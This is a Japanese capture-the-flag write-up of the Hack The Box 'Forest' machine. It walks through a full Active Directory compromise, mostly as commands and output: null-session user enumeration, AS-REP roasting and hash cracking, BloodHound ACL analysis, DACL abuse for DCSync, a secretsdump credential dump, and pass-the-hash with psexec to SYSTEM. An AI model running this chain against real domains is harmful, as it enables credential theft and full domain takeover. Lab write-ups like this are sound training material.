Ch4n24n のアイコン

Ch4n24n

概要

  1. ヌルセッションでドメインユーザを列挙
  2. AS-REP Roasting(etype 23)で svc-alfresco のパスワードを解読
  3. BloodHound で Account Operators → Exchange Windows Permissions(GenericAll)→ ドメイン(WriteDacl) という ACL 悪用チェーンを確認
  4. ACL 悪用チェーンを使って、ドメインへの FullControl を取得
  5. secretsdump で Administrator の NT ハッシュを取り、psexec で SYSTEMを取得

対象環境

項目値
問題Forest
難易度Easy
OSWindows
IP10.129.85.220
攻撃者IP10.10.14.16

攻撃フロー

1. 偵察

rustscan で全ポートを確認。
88 / 389 / 445 / 5985 が開いており、LDAP がドメイン htb.local、ホスト名 FOREST を返す

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scans
Open 10.129.85.220:53
Open 10.129.85.220:88
Open 10.129.85.220:389
Open 10.129.85.220:445
Open 10.129.85.220:5985
PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-09 06:55:06Z)
389/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

htb.local を /etc/hosts に足した。

Ch4n24n@htb[/htb]$ echo $TARGET htb.local | sudo tee -a /etc/hosts
10.129.85.220 htb.local

2. ユーザ列挙

ヌルセッションの rpcclient で enumdomusers を実行
組み込み・Exchange 系に加え、人間寄りのアカウントを 6 件出る

Ch4n24n@htb[/htb]$ rpcclient -U "" -N $TARGET
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

3. AS-REP Roasting

6 件を impacket-GetNPUsers に渡す。
svc-alfresco だけ UF_DONT_REQUIRE_PREAUTH が立ち、etype 23 の AS-REP が返る

Ch4n24n@htb[/htb]$ impacket-GetNPUsers HTB.LOCAL/ -dc-ip $TARGET -no-pass -usersfile ~hack/creds.user
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$...
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

ローカルパスワードクラックで svc-alfresco:s3rvice を見つける

Ch4n24n@htb[/htb]$ hashcat -m 18200 '$krb5asrep$23$...' /usr/share/wordlists/rockyou.txt
...:s3rvice
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests (total)

4. 資格情報の確認

資格情報として有効なこと、WinRMでのアクセスが可能であることがわかる

Ch4n24n@htb[/htb]$ netexec smb $TARGET -u 'svc-alfresco' -p 's3rvice'
SMB         10.129.85.220   445    FOREST           [+] htb.local\svc-alfresco:s3rvice
 
Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'svc-alfresco' -p 's3rvice'
WINRM       10.129.85.220   5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

5. BloodHound を確認

bloodhound-ce-python で LDAP から収集する
※ 内訳: ドメイン 1、コンピュータ 2(FOREST / EXCH01)、ユーザー 32、グループ 76

Ch4n24n@htb[/htb]$ sudo bloodhound-ce-python -d htb.local -u 'svc-alfresco' -p 's3rvice' -c All -dc htb.local -ns $TARGET
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 0 trusts
INFO: Done in 01M 09S

Administrator までの経路を確認

Pathfinding で svc-alfresco → Administrator を設定
Account Operators が Exchange Windows Permissions に GenericAll、そのグループがドメインに WriteDacl であることがわかった

6. WriteDacl で DCSync

Account Operators なので、自分を Exchange Windows Permissions に入れる

Ch4n24n@htb[/htb]$ bloodyAD -u 'svc-alfresco' -p 's3rvice' -d htb.local --host htb.local add groupMember 'EXCHANGE WINDOWS PERMISSIONS' 'svc-alfresco'
[+] svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS

ドメインオブジェクトへ DCSync を書く

Ch4n24n@htb[/htb]$ impacket-dacledit -action 'write' -rights 'FullControll' -principal 'svc-alfresco' -target-dn 'DC=HTB,DC=LOCAL' 'htb.local'/'svc-alfresco':'s3rvice'
[*] DACL modified successfully!

secretsdump が DRSUAPI で NTDS.DIT を出す

Ch4n24n@htb[/htb]$ impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@htb.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435...:32693b11...:::
krbtgt:502:aad3b435...:819af826...:::

7. Pass-the-Hash で SYSTEM

Administrator の NT ハッシュで psexec

Ch4n24n@htb[/htb]$ impacket-psexec -hashes :32693b11... Administrator@$TARGET
[*] Found writable share ADMIN$
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
C:\Windows\system32> whoami
nt authority\system

参考

おわりに

  • この端末が WORKGROUP ではなく、ドメイン参加端末であることがわかると、教科書的な対応で攻略できます (私は、このホストを WORKGROUP だと勘違いし、 ASP Roasting を試すまでに時間がかかりました…💦)
  • 素直でいい Box でした😊
次に読む
© 2026 Ch4n24n